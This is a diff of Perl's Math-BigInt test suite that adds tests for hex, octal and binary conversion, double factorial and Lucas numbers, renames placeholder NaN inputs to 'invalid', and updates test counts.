-        #print "\$setup== $setup\n";
         next;
     }
 
@@ -38,7 +37,7 @@
     $try = qq|\$x = $CLASS->new("$args[0]");|;
     if ($f eq "bnorm") {
         $try .= qq| \$x;|;
-    } elsif ($f =~ /^is_(zero|one|negative|positive|odd|even|nan|int)$/) {
+    } elsif ($f =~ /^is_(zero|one|odd|even|negative|positive|nan|int)$/) {
         $try .= qq| \$x->$f();|;
     } elsif ($f eq "is_inf") {
         $try .= qq| \$x->is_inf("$args[1]");|;
@@ -50,8 +49,12 @@
         $try .= qq| \$x->accuracy($args[1]); \$x->precision($args[2]);|;
         $try .= ' $x->bstr();';
     # some unary ops
-    } elsif ($f =~ /^b(nan|sstr|neg|floor|ceil|int|abs)$/) {
+    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|exp|fac)$/) {
         $try .= qq| \$x->$f();|;
+    } elsif ($f =~ /^(numify|length|as_number)$/) {
+        $try .= qq| \$x->$f();|;
+    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
+        $try .= " \$x->$f();";
     # overloaded functions
     } elsif ($f =~ /^(log|exp|sin|cos|atan2|int|neg|abs|sqrt)$/) {
         $try .= qq| \$x = $f(\$x);|;
@@ -65,14 +68,8 @@
     } elsif ($f eq "mantissa") {
         # ->bstr() to see if an object is returned
         $try .= ' $x->mantissa()->bstr();';
-    } elsif ($f =~ /^(numify|length|as_number|as_hex|as_bin)$/) {
-        $try .= qq| \$x->$f();|;
     } elsif ($f eq "bpi") {
         $try .= qq| $CLASS->bpi(\$x);|;
-    } elsif ($f eq "binc") {
-        $try .= ' $x->binc();';
-    } elsif ($f eq "bdec") {
-        $try .= ' $x->bdec();';
     } elsif ($f eq "bround") {
         $try .= qq| $setup; \$x->bround($args[1]);|;
     } elsif ($f eq "bfround") {
@@ -81,6 +78,8 @@
         $try .= qq| $setup; \$x->bsqrt();|;
     } elsif ($f eq "bfac") {
         $try .= qq| $setup; \$x->bfac();|;
+    } elsif ($f eq "bdfac") {
+        $try .= qq| $setup; \$x->bdfac();|;
     } elsif ($f eq "blog") {
         if (defined $args[1] && $args[1] ne '') {
             $try .= qq| \$y = $CLASS->new($args[1]);|;
@@ -664,7 +663,7 @@
 1::0
 
 &brsft
-NaNbrsft:2:NaN
+invalid:2:NaN
 0:2:0
 1:1:0.5
 2:1:1
@@ -673,7 +672,7 @@
 32:3:4
 
 &blsft
-NaNblsft:0:NaN
+invalid:0:NaN
 2:1:4
 4:3:32
 5:3:40
@@ -683,7 +682,7 @@
 &bnorm
 1:1
 -0:0
-bnormNaN:NaN
+invalid:NaN
 +inf:inf
 -inf:-inf
 123:123
@@ -769,21 +768,75 @@
 3:abc:inf
 
 &as_hex
+128:0x80
+-128:-0x80
+0:0x0
+-0:0x0
+1:0x1
+0x123456789123456789:0x123456789123456789
 +inf:inf
 -inf:-inf
-hexNaN:NaN
-0:0x0
-5:0x5
--5:-0x5
+invalid:NaN
 
 &as_bin
+128:0b10000000
+-128:-0b10000000
+0:0b0
+-0:0b0
+1:0b1
+0b1010111101010101010110110110110110101:0b1010111101010101010110110110110110101
+0x123456789123456789:0b100100011010001010110011110001001000100100011010001010110011110001001
 +inf:inf
 -inf:-inf
-hexNaN:NaN
-0:0b0
-5:0b101
--5:-0b101
+invalid:NaN
 
+&as_oct
+128:0200
+-128:-0200
+0:00
+-0:00
+1:01
+0b1010111101010101010110110110110110101:01275252666665
+0x123456789123456789:044321263611044321263611
++inf:inf
+-inf:-inf
+invalid:NaN
+
+&to_hex
+128:80
+-128:-80
+0:0
+-0:0
+1:1
+0x123456789123456789:123456789123456789
++inf:inf
+-inf:-inf
+invalid:NaN
+
+&to_bin
+128:10000000
+-128:-10000000
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
+0x123456789123456789:100100011010001010110011110001001000100100011010001010110011110001001
++inf:inf
+-inf:-inf
+invalid:NaN
+
+&to_oct
+128:200
+-128:-200
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1275252666665
+0x123456789123456789:44321263611044321263611
++inf:inf
+-inf:-inf
+invalid:NaN
+
 &numify
 # uses bsstr() so 5 => 5e+0 to be compatible w/ Perls output
 0:0
@@ -934,7 +987,7 @@
 $div_scale = 40
 
 &bneg
-bnegNaN:NaN
+invalid:NaN
 +inf:-inf
 -inf:inf
 +0:0
@@ -946,7 +999,7 @@
 -123456.789:123456.789
 
 &babs
-babsNaN:NaN
+invalid:NaN
 +inf:inf
 -inf:inf
 +0:0
@@ -962,7 +1015,7 @@
 +inf:5:inf
 -inf:5:-inf
 0:5:0
-NaNfround:5:NaN
+invalid:5:NaN
 +10123456789:5:10123000000
 -10123456789:5:-10123000000
 +10123456789.123:5:10123000000
@@ -1038,7 +1091,7 @@
 +inf:5:inf
 -inf:5:-inf
 0:5:0
-NaNffround:5:NaN
+invalid:5:NaN
 +1.23:-1:1.2
 +1.234:-1:1.2
 +1.2345:-1:1.2
@@ -1170,9 +1223,9 @@
 0.01234567:-12:0.012345670000
 
 &bcmp
-bcmpNaN:bcmpNaN:
-bcmpNaN:+0:
-+0:bcmpNaN:
+invalid:invalid:
+invalid:+0:
++0:invalid:
 +0:+0:0
 -1:+0:-1
 +0:-1:1
@@ -1243,9 +1296,9 @@
 NaN:-inf:
 
 &bacmp
-bcmpNaN:bcmpNaN:
-bcmpNaN:+0:
-+0:bcmpNaN:
+invalid:invalid:
+invalid:+0:
++0:invalid:
 +0:+0:0
 -1:+0:1
 +0:-1:-1
@@ -1312,13 +1365,13 @@
 5:-inf:-1
 -1:-inf:-1
 # return undef
-+inf:bacmpNaN:
-bacmpNaN:inf:
--inf:bacmpNaN:
-bacmpNaN:-inf:
++inf:invalid:
+invalid:inf:
+-inf:invalid:
+invalid:-inf:
 
 &bdec
-bdecNaN:NaN
+invalid:NaN
 +inf:inf
 -inf:-inf
 +0:-1
@@ -1334,7 +1387,7 @@
 99:98
 
 &binc
-bincNaN:NaN
+invalid:NaN
 +inf:inf
 -inf:-inf
 +0:1
@@ -1356,10 +1409,10 @@
 -inf:+inf:NaN
 +inf:+inf:inf
 -inf:-inf:-inf
-baddNaN:+inf:NaN
-baddNaN:+inf:NaN
-+inf:baddNaN:NaN
--inf:baddNaN:NaN
+invalid:+inf:NaN
+invalid:+inf:NaN
++inf:invalid:NaN
+-inf:invalid:NaN
 +0:+0:0
 +1:+0:1
 +0:+1:1
@@ -1404,10 +1457,10 @@
 -inf:+inf:-inf
 +inf:+inf:NaN
 -inf:-inf:NaN
-baddNaN:+inf:NaN
-baddNaN:+inf:NaN
-+inf:baddNaN:NaN
--inf:baddNaN:NaN
+invalid:+inf:NaN
+invalid:+inf:NaN
++inf:invalid:NaN
+-inf:invalid:NaN
 +0:+0:0
 +1:+0:1
 +0:+1:-1
@@ -1448,10 +1501,10 @@
 abc:+0:0:NaN
 +0:abc:0:NaN
 +0:0:abc:NaN
-NaNmul:+inf:0:NaN
-NaNmul:-inf:0:NaN
--inf:NaNmul:0:NaN
-+inf:NaNmul:0:NaN
+invalid:+inf:0:NaN
+invalid:-inf:0:NaN
+-inf:invalid:0:NaN
++inf:invalid:0:NaN
 +inf:+inf:0:inf
 +inf:-inf:0:-inf
 -inf:+inf:0:-inf
@@ -1516,10 +1569,10 @@
 abc:abc:NaN
 abc:+0:NaN
 +0:abc:NaN
-+inf:NaNmul:NaN
-+inf:NaNmul:NaN
-NaNmul:+inf:NaN
-NaNmul:-inf:NaN
++inf:invalid:NaN
++inf:invalid:NaN
+invalid:+inf:NaN
+invalid:-inf:NaN
 +inf:+inf:inf
 +inf:-inf:-inf
 +inf:-inf:-inf
@@ -1760,6 +1813,25 @@
 11:39916800
 12:479001600
 
+&bdfac
+NaN:NaN
+-1:NaN
++inf:inf
+-inf:NaN
+0:1
+1:1
+2:2
+3:3
+4:8
+5:15
+6:48
+7:105
+8:384
+9:945
+10:3840
+11:10395
+12:46080
+
 &broot
 # sqrt()
 +0:2:0
@@ -1878,7 +1950,7 @@
 2:0
 
 &is_int
-NaNis_int:0
+invalid:0
 0:1
 1:1
 2:1
@@ -1934,7 +2006,7 @@
 123:123 0
 -123:-123 0
 -1200:-12 2
-NaNparts:NaN NaN
+invalid:NaN NaN
 +inf:inf inf
 -inf:-inf inf
 
@@ -1946,7 +2018,7 @@
 -1200:2
 +inf:inf
 -inf:inf
-NaNexponent:NaN
+invalid:NaN
 
 &mantissa
 0:0
@@ -1956,7 +2028,7 @@
 -1200:-12
 +inf:inf
 -inf:-inf
-NaNmantissa:NaN
+invalid:NaN
 
 &length
 123:3
@@ -1966,7 +2038,7 @@
 12345678901234567890:20
 
 &is_zero
-NaNzero:0
+invalid:0
 +inf:0
 -inf:0
 0:1
@@ -1974,7 +2046,7 @@
 1:0
 
 &is_one
-NaNone:0
+invalid:0
 +inf:0
 -inf:0
 0:0

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2402            # tests in require'd file
+use Test::More tests => 2482            # tests in require'd file
                          + 19;          # tests in this file
 
 use Math::BigInt only => 'Calc';

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.inc
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -77,13 +77,21 @@
     } elsif ($f eq "bone") {
         $try .= qq| \$x->bone("$args[1]");|;
     # some unary ops
-    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|fac)$/) {
+    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|exp|fac)$/) {
         $try .= " \$x->$f();";
+    } elsif ($f =~ /^(numify|length|stringify)$/) {
+        $try .= " \$x->$f();";
+    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
+        $try .= " \$x->$f();";
     # overloaded functions
     } elsif ($f =~ /^(log|exp|sin|cos|atan2|int|neg|abs|sqrt)$/) {
         $try .= " \$x = $f(\$x);";
-    } elsif ($f =~ /^(numify|length|stringify|as_hex|as_bin|as_oct)$/) {
-        $try .= " \$x->$f();";
+    } elsif ($f eq "parts") {
+        $try .= ' ($m, $e) = $x->parts();';
+        # ->bstr() to see if an object is returned
+        $try .= ' $m = $m->bstr(); $m = "NaN" if !defined $m;';
+        $try .= ' $e = $e->bstr(); $e = "NaN" if !defined $e;';
+        $try .= ' "$m,$e";';
     } elsif ($f eq "exponent") {
         # ->bstr() to see if an object is returned
         $try .= ' $x = $x->exponent()->bstr();';
@@ -90,14 +98,6 @@
     } elsif ($f eq "mantissa") {
         # ->bstr() to see if an object is returned
         $try .= ' $x = $x->mantissa()->bstr();';
-    } elsif ($f eq "parts") {
-        $try .= ' ($m, $e) = $x->parts();';
-        # ->bstr() to see if an object is returned
-        $try .= ' $m = $m->bstr(); $m = "NaN" if !defined $m;';
-        $try .= ' $e = $e->bstr(); $e = "NaN" if !defined $e;';
-        $try .= ' "$m,$e";';
-    } elsif ($f eq "bexp") {
-        $try .= " \$x->bexp();";
     } elsif ($f eq "bpi") {
         $try .= " $CLASS\->bpi(\$x);";
     } else {
@@ -995,9 +995,9 @@
 
 &blog
 #
-NaNlog:2:NaN
-122:NaNlog:NaN
-NaNlog1:NaNlog:NaN
+invalid:2:NaN
+122:invalid:NaN
+invalid:invalid:NaN
 #
 122:inf:0
 inf:122:inf
@@ -1067,7 +1067,7 @@
 1:0
 +inf:0
 -inf:1
-NaNneg:0
+invalid:0
 
 &is_positive
 0:0
@@ -1075,12 +1075,12 @@
 1:1
 +inf:1
 -inf:0
-NaNneg:0
+invalid:0
 
 &is_int
 -inf:0
 +inf:0
-NaNis_int:0
+invalid:0
 1:1
 0:1
 123e12:1
@@ -1124,9 +1124,9 @@
 -987654321:+123456789:1
 -123:+4567889:-1
 # NaNs
-acmpNaN:123:
-123:acmpNaN:
-acmpNaN:acmpNaN:
+invalid:123:
+123:invalid:
+invalid:invalid:
 # infinity
 +inf:+inf:0
 -inf:-inf:0
@@ -1388,8 +1388,8 @@
 &bone
 2:+:1
 2:-:-1
-boneNaN:-:-1
-boneNaN:+:1
+invalid:-:-1
+invalid:+:1
 2:abc:1
 3::1
 
@@ -1498,7 +1498,7 @@
 -100:-100
 
 &bneg
-bnegNaN:NaN
+invalid:NaN
 +inf:-inf
 -inf:inf
 abd:NaN
@@ -1509,7 +1509,7 @@
 -123456789:123456789
 
 &babs
-babsNaN:NaN
+invalid:NaN
 +inf:inf
 -inf:inf
 0:0
@@ -1527,9 +1527,9 @@
 -123456789:-1
 
 &bcmp
-bcmpNaN:bcmpNaN:
-bcmpNaN:0:
-0:bcmpNaN:
+invalid:invalid:
+invalid:0:
+0:invalid:
 0:0:0
 -1:0:-1
 0:-1:1
@@ -1595,10 +1595,10 @@
 -inf:+inf:NaN
 +inf:+inf:inf
 -inf:-inf:-inf
-baddNaN:+inf:NaN
-baddNaN:+inf:NaN
-+inf:baddNaN:NaN
--inf:baddNaN:NaN
+invalid:+inf:NaN
+invalid:+inf:NaN
++inf:invalid:NaN
+-inf:invalid:NaN
 0:0:0
 1:0:1
 0:1:1
@@ -1722,10 +1722,10 @@
 abc:+0:0:NaN
 +0:abc:0:NaN
 +0:0:abc:NaN
-NaNmul:+inf:0:NaN
-NaNmul:-inf:0:NaN
--inf:NaNmul:0:NaN
-+inf:NaNmul:0:NaN
+invalid:+inf:0:NaN
+invalid:-inf:0:NaN
+-inf:invalid:0:NaN
++inf:invalid:0:NaN
 +inf:+inf:0:inf
 +inf:-inf:0:-inf
 -inf:+inf:0:-inf
@@ -1782,10 +1782,10 @@
 abc:abc:NaN
 abc:+0:NaN
 +0:abc:NaN
-NaNmul:+inf:NaN
-NaNmul:-inf:NaN
--inf:NaNmul:NaN
-+inf:NaNmul:NaN
+invalid:+inf:NaN
+invalid:-inf:NaN
+-inf:invalid:NaN
++inf:invalid:NaN
 +inf:+inf:inf
 +inf:-inf:-inf
 -inf:+inf:-inf
@@ -2812,7 +2812,7 @@
 
 &bfac
 -1:NaN
-NaNfac:NaN
+invalid:NaN
 +inf:inf
 -inf:NaN
 0:1
@@ -3082,7 +3082,7 @@
 &bround
 $round_mode("trunc")
 0:12:0
-NaNbround:12:NaN
+invalid:12:NaN
 +inf:12:inf
 -inf:12:-inf
 1234:0:1234
@@ -3183,7 +3183,7 @@
 
 &is_zero
 0:1
-NaNzero:0
+invalid:0
 +inf:0
 -inf:0
 123:0
@@ -3192,7 +3192,7 @@
 
 &is_one
 0:0
-NaNone:0
+invalid:0
 +inf:0
 -inf:0
 1:1
@@ -3203,7 +3203,7 @@
 # floor, ceil, and int are pretty pointless in integer space, but play safe
 &bfloor
 0:0
-NaNfloor:NaN
+invalid:NaN
 +inf:inf
 -inf:-inf
 -1:-1
@@ -3213,7 +3213,7 @@
 abc:NaN
 
 &bceil
-NaNceil:NaN
+invalid:NaN
 +inf:inf
 -inf:-inf
 0:0
@@ -3242,7 +3242,7 @@
 0x123456789123456789:0x123456789123456789
 +inf:inf
 -inf:-inf
-NaNas_hex:NaN
+invalid:NaN
 
 &as_bin
 128:0b10000000
@@ -3254,7 +3254,7 @@
 0x123456789123456789:0b100100011010001010110011110001001000100100011010001010110011110001001
 +inf:inf
 -inf:-inf
-NaNas_bin:NaN
+invalid:NaN
 
 &as_oct
 128:0200
@@ -3266,8 +3266,43 @@
 0x123456789123456789:044321263611044321263611
 +inf:inf
 -inf:-inf
-NaNas_oct:NaN
+invalid:NaN
 
+&to_hex
+128:80
+-128:-80
+0:0
+-0:0
+1:1
+0x123456789123456789:123456789123456789
++inf:inf
+-inf:-inf
+invalid:NaN
+
+&to_bin
+128:10000000
+-128:-10000000
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
+0x123456789123456789:100100011010001010110011110001001000100100011010001010110011110001001
++inf:inf
+-inf:-inf
+invalid:NaN
+
+&to_oct
+128:200
+-128:-200
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1275252666665
+0x123456789123456789:44321263611044321263611
++inf:inf
+-inf:-inf
+invalid:NaN
+
 # overloaded functions
 &log
 -1:NaN

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3913            # tests in require'd file
+use Test::More tests => 3942            # tests in require'd file
                          + 20;          # tests in this file
 
 use Math::BigInt only => 'Calc';

Added: vendor/perl/dist/cpan/Math-BigInt/t/blucas-mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/blucas-mbi.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Math-BigInt/t/blucas-mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,86 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 15;
+
+use Math::BigInt;
+
+my $x;
+
+###############################################################################
+# Scalar context.
+###############################################################################
+
+my $y;
+
+# Finite numbers.
+
+$x = Math::BigInt -> new("-20");
+$y = $x -> blucas();
+is($y, "-15127", "blucas(-20)");
+
+$x = Math::BigInt -> new("-15");
+$y = $x -> blucas();
+is($y, "1364", "blucas(-15)");
+
+$x = Math::BigInt -> new("-2");
+$y = $x -> blucas();
+is($y, "-3", "blucas(-2)");
+
+$x = Math::BigInt -> new("-1");
+$y = $x -> blucas();
+is($y, "1", "blucas(-1)");
+
+$x = Math::BigInt -> new("0");
+$y = $x -> blucas();
+is($y, "2", "blucas(0)");
+
+$x = Math::BigInt -> new("1");
+$y = $x -> blucas();
+is($y, "1", "blucas(1)");
+
+$x = Math::BigInt -> new("2");
+$y = $x -> blucas();
+is($y, "3", "blucas(2)");
+
+$x = Math::BigInt -> new("15");
+$y = $x -> blucas();
+is($y, "1364", "blucas(15)");
+
+$x = Math::BigInt -> new("20");
+$y = $x -> blucas();
+is($y, "15127", "blucas(20)");
+
+$x = Math::BigInt -> new("250");
+$y = $x -> blucas();
+is($y, "17656721319717734662791328845675730903632844218828123", "blucas(250)");
+
+# Infinites and NaN.
+
+$x = Math::BigInt -> binf("+");
+$y = $x -> blucas();
+is($y, "inf", "blucas(+inf)");
+
+$x = Math::BigInt -> binf("-");
+$y = $x -> blucas();
+is($y, "NaN", "blucas(-inf)");
+
+$x = Math::BigInt -> bnan();
+$y = $x -> blucas();
+is($y, "NaN", "blucas(NaN)");
+
+###############################################################################
+# List context.
+###############################################################################
+
+my @y;
+
+$x = Math::BigInt -> new("10");
+ at y = $x -> blucas();
+is_deeply(\@y, [2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123], "blucas(10)");
+
+$x = Math::BigInt -> new("-10");
+ at y = $x -> blucas();
+is_deeply(\@y, [2, 1, -3, 4, -7, 11, -18, 29, -47, 76, -123], "blucas(-10)");

Modified: vendor/perl/dist/cpan/Math-BigInt/t/calling.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/calling.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/calling.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 use warnings;
 use lib 't';
 
-my $VERSION = '1.999806';       # adjust manually to match latest release
+my $VERSION = '1.999811';       # adjust manually to match latest release
 
 use Test::More tests => 5;
 

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbf.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 183;
+use Test::More tests => 729;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbi.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 344;
+use Test::More tests => 1373;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbf.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 183;
+use Test::More tests => 729;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbi.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 344;
+use Test::More tests => 1373;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbf.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 183;
+use Test::More tests => 729;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbi.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 344;
+use Test::More tests => 1373;
 
 my $class;
 
@@ -10,6 +10,9 @@
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
+my @data;
+my $space = "\t\r\n ";
+
 while (<DATA>) {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -17,6 +20,15 @@
 
     my ($in0, $out0) = split /:/;
 
+    push @data, [ $in0, $out0 ],
+                [ $in0 . $space, $out0 ],
+                [ $space . $in0, $out0 ],
+                [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+    my ($in0, $out0) = @$entry;
+
     # As class method.
 
     {

Modified: vendor/perl/dist/cpan/Math-BigInt/t/sub_mbf.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/sub_mbf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/sub_mbf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2402            # tests in require'd file
+use Test::More tests => 2482            # tests in require'd file
                          + 6;           # tests in this file
 
 use lib 't';

Modified: vendor/perl/dist/cpan/Math-BigInt/t/sub_mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/sub_mbi.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/sub_mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3913            # tests in require'd file
+use Test::More tests => 3942            # tests in require'd file
                          + 5;           # tests in this file
 
 use lib 't';

Modified: vendor/perl/dist/cpan/Math-BigInt/t/upgrade.inc
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/upgrade.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/upgrade.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -82,10 +82,8 @@
         $try = qq|\$x = $CLASS->bnorm("$args[0]");|;
     } elsif ($f =~ /^is_(zero|one|odd|even|negative|positive|nan|int)$/) {
         $try .= " \$x->$f();";
-    } elsif ($f eq "as_hex") {
-        $try .= ' $x->as_hex();';
-    } elsif ($f eq "as_bin") {
-        $try .= ' $x->as_bin();';
+    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
+        $try .= " \$x->$f();";
     } elsif ($f eq "is_inf") {
         $try .= " \$x->is_inf('$args[1]');";
     } elsif ($f eq "binf") {
@@ -93,7 +91,7 @@
     } elsif ($f eq "bone") {
         $try .= " \$x->bone('$args[1]');";
     # some unary ops
-    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|inc|dec|not|sqrt|fac)$/) {
+    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|inc|dec|not|sqrt|d?fac)$/) {
         $try .= " \$x->$f();";
     } elsif ($f eq "length") {
         $try .= ' $x->length();';
@@ -257,29 +255,39 @@
 }
 
 __DATA__
+
 &.=
 1234:-345:1234-345
+
 &+=
 1:2:3
 -1:-2:-3
+
 &-=
 1:2:-1
 -1:-2:1
+
 &*=
 2:3:6
 -1:5:-5
+
 &%=
 100:3:1
 8:9:8
+
 &/=
 100:3:33.33333333333333333333333333333333333333
 -8:2:-4
+
 &|=
 2:1:3
+
 &&=
 5:7:5
+
 &^=
 5:7:2
+
 &is_negative
 0:0
 -1:1
@@ -287,6 +295,7 @@
 +inf:0
 -inf:1
 NaNneg:0
+
 &is_positive
 0:0
 -1:0
@@ -294,6 +303,7 @@
 +inf:1
 -inf:0
 NaNneg:0
+
 &is_odd
 abc:0
 0:0
@@ -306,6 +316,7 @@
 2:0
 120:0
 121:1
+
 &is_int
 NaN:0
 inf:0
@@ -313,6 +324,7 @@
 1:1
 12:1
 123e12:1
+
 &is_even
 abc:0
 0:1
@@ -325,6 +337,7 @@
 2:1
 120:1
 121:0
+
